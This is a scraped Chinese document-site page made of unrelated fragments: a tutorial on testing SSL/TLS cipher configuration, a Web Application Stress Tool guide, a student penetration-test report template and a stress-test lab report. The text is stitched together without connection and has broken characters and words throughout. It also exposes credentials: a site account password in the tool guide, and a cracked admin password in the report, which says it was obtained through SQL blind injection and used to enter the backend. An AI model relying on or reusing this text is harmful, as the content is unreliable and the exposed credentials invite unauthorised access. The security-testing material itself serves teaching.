如果Web服务中的SSL和TLS协议出现安全问题,后果会如何?很明显,这样的话攻击者就可以拥有你所有的安全信息,包括我们的用户名、密码、信用卡、银行信息……所有的一切。本文将向读者详细介绍如何针对Web服务中的SSL和TLS协议进行安全渗透测试。我们首先对这两种协议进行了概述,然后详细介绍了针对加密信道安全性的黑盒测试和白盒测试。最后列出了一些常用的安全测试工具。 一、简介 目前,许多重要的Web服务都使用了SSL和TLS协议对通信进行保护。我们知道,http协议是使用明文进行传输的,但是像网络银行之类的web应用如果使用http协议的话,那么所有的机密信息都会暴露在网络连接中,这就像银行用一个透明的信封给我们邮寄信用卡帐号和密码一样,在从银行到达用户之间任何接触过这封信的人,都能看到我们的帐号和密码。为了提高其安全性,经常需要通过SSL或者TLS隧道传输这些明文,这样就产生了https通信流量。例如网络银行之类的应用,在服务器和客户端之间传输密码,信用卡号码等重要信息时,都是通过https协议进行加密传送的。 SSL和TLS是两种安全协议,它们通过加密技术为传输的信息提供安全信道、机密性和身份验证等安全功能。我们知道由于对高级密码技术的出口限制,会造成遗留系统使用的是弱加密技术。如果系统采用了弱密码,或者说密码强度过低的话,攻击者可以在有效的时间内破解密钥,而攻击者一旦得到了密钥,就像小偷得到了我们家的钥匙一样,所有的锁都会形同虚设。但是,新Web服务器就不会使用弱加密系统了吗?答案是否定的,因为许多新Web服务器也经常被配臵成处理虚密码选项。为了实现这些安全特性,协议必须确保使用的密码算法有足够的强度,并且密码算法得到了正确的实现。即使服务器安装使用了高级的加密模块,但是如果配臵不当的话,也有可能为安全特性要求较高的通信信道的设臵了较弱的加密技术。下面,我们将详细介绍如何对这两种协议的配臵进行安全审计。 二、测试SSL/TLS的密码规范 我们知道,http协议是使用明文进行传输的,为了提高其安全性,经常需要通过SSL或者TLS隧道传输这些明文,这样就产生了https通信流量。除对传输的数据进行加密处理之外,https(安全超文本传输协议,HTTPS)还能利用数字证书为服务器或客户端提供身份标识。 过去,美国政府对加密系统的出口有许多限制,如密钥长度最大为40位,因为密钥长度越短,它就越容易破解。后来,密码出口条例已经放宽了许多,但是,检查服务器的SSL配臵仍然十分重要,因为它有可能配臵使用了弱加密技术。基于SSL的服务不应该提供选择弱密码的机会。 注意,我们这里所说的弱密码,指的是加密强度不够、容易破解的加密系统。不同的加密算法具有不同的密码强度,但是在算法一定的情况下,密钥的长度越长,加密强度越高。 技术上,选择加密技术的过程如下所示:在建立SSL连接的初期,客户端向服务器发送一个Clien t Hello消息,以告知服务器它支持哪些加密技术等。一般情况下,客户端通常是一个Web浏览器,所以浏览器是目前最常见的SSL客户端;然而,任何支持SSL的应用程序都可以作为SSL客户端使用。比如,有时候SSL客户端是些SSL代理(如stunnel),它们使得那些不支持SSL的工具也能与SSL服务通信。同理,SSL服务器端通常为Web服务器,但是其他应用程序也可以充当SSL服务器端。加密套件规定了具体的密码协议(DES、RC4、AES)、密钥长度(诸如40、56或者128位)和用于完整性检验的散列算法(SHA、MD5)。收到Client Hello消息后,服务器以此确定该会话所使用的加密套件。当然,通过配臵可以规定服务器能够接受哪些密码套件,这样的话,我们就能够控制是否跟仅支持40位加密的客户端通话 三、黑盒测试 为了检测可能支持的弱密码,必须找出与SSL/TLS服务相关的端口。通常情况下,要检查端口443,因为它是标准的https端口;不过运行在443端口上的却未必是https服务,因为通过配臵,https服务可以运行在非标准的端口上,同时,Web应用程序也许使用了其它利用SSL/TLS封装的服务。一般而言,为了找出这些端口,必须找出使用了哪些服务。

Web_Application_Stress_Tool(WAS,Web应用负载测试工具)详细说明

Web Application Stress Tool(WAS,Web应用负载测试工具)详细说明https://www.360docs.net/doc/de12720251.html,/view/cc84fb84b9d528ea81c779ca.html 百度文库:lindazhao1234 pswd:linda_123 你的Web服务器能够支持多少个并发用户的访问呢?你遇到过服务器遭受过DD OS的攻击而瘫痪吗?在这里给大家介绍微软网站测试人员开发的著名网站压力测试软件,Microsoft的Web Application Stress Tool(WAS,Web应用负载测试工具),而且还是免费的哦。 其下载地址:https://www.360docs.net/doc/de12720251.html,/download/a/8/2/a82e7ba7-c772-4ec4-b186-2cf147f42 c11/setup.exe WAS是一款网站性能测试评估软件。它通过模拟大量并发用户同时访问服务器,以获取服务器的承受能力。像这种软件是把“双刃剑”,就看你用在哪一方面啦。如果没用好就会给你的服务器造成一定的损失,用好了可以及时的发现你的服务器能承受多大压力负载。以便及时的采取相应的措施防范。 要对网站进行负载测试首先需要创建WAS脚本来模拟用户访问等活动。 创建脚本的方法: 通过记录浏览器的活动; 通过导入IIS日志; 通过把WAS指向Web网站的内容; 或者手工制作。 这里我用是通过记录浏览器事件生成的脚本的一部分, 一:测试前的准备 1.在测试前清空IE浏览器其它网站的缓存和Cookies等临时文件。

二:测试脚本制作 1.打开WAS,点击Record 2.勾选要记录的活动

网站渗透测试报告-模板

网站渗透测试报告-模板

____________________________ 电子信息学院渗透测试课程实验报告____________________________ 实验名称:________________________ 实验时间:________________________ 学生姓名:________________________ 学生学号:________________________

目录 第1章概述 (3) .测试目的 (3) .测试范围 (3) .数据来源 (3) 第2章详细测试结果 (4) .测试工具 (4) .测试步骤 (4) 预扫描 (4) 工具扫描 (4) 人工检测 (5) 其他 (5) .测试结果 (5) 跨站脚本漏洞 (6) 盲注 (7) 管理后台 (10) .实验总结 (11)

第1章概述 .测试目的 通过实施针对性的渗透测试,发现XXXX网站系统的安全漏洞,保障XXX业务系统安全运行。 .测试范围 根据事先交流,本次测试的范围详细如下: .数据来源 通过漏洞扫描和手动分析获取相关数据。

第2章详细测试结果 .测试工具 根据测试的范围,本次渗透测试可能用到的相关工具列表如下: .测试步骤 预扫描 通过端口扫描或主机查看,确定主机所开放的服务。来检查是否有非正常的服务程序在运行。 工具扫描 主要通过Nessus进行主机扫描,通过WVS进行WEB扫描。通过Nmap进行端口扫描,得出扫描结果。三个结果进行对比分析。

人工检测 对以上扫描结果进行手动验证,判断扫描结果中的问题是否真实存在。 其他 根据现场具体情况,通过双方确认后采取相应的解决方式。 .测试结果 本次渗透测试共发现2个类型的高风险漏洞,1个类型的低风险漏洞。这些漏洞可以直接登陆web管理后台管理员权限,同时可能引起内网渗透。获取到的权限如下图所示: 可以获取web管理后台管理员权限,如下步骤所示: 通过SQL盲注漏洞获取管理员用户名和密码hash值,并通过暴力破解工具破解得到root用户的密码“mylove1993.” 利用工具扫描得到管理后台url,使用root/mylove1993.登陆后台如图:

web压力测试实验报告课件

软件测试实验报告 实验题目:web 压力测试实验成 绩 评语: 教师: 年月日 班级:030513 学号: 03051235 姓名:陆义良 地点:EⅡ- 508 时间:2008 年5 月16 日

实验目的: 一、理解web压力测试概念 二、熟练运用WAS (web application stress too软l) 件进行web 压力测试 实验内容: 一、WAS 软件安装 二、设计测试方案 三、使用WAS 软件进行测试 四、分析测试报告,寻找被测网站的最大负载量 实验设备: 一、WAS 软件 二、联网的计算机

脚本报告: 脚本1报告: Overview ====================================================================== Report name: 2008-5-16 16:01:08 Run on: 2008-5-16 16:01:08 Run length: 00:24:13 Web Application Stress Tool Version:1.1.293.1 Number of test clients: 1 Number of hits: 11899 Requests per Second: 9.01 Socket Statistics -------------------------------------------------------------------------------- Socket Connects: 12310 Total Bytes Sent (in KB): 3323.06 Bytes Sent Rate (in KB/s): 2.52 Total Bytes Recv (in KB): 105140.76 Bytes Recv Rate (in KB/s): 79.65 Socket Errors -------------------------------------------------------------------------------- Connect: 49332 Send: 0 Recv: 46 Timeouts: 20 RDS Results -------------------------------------------------------------------------------- Successful Queries: 0

相关文档
最新文档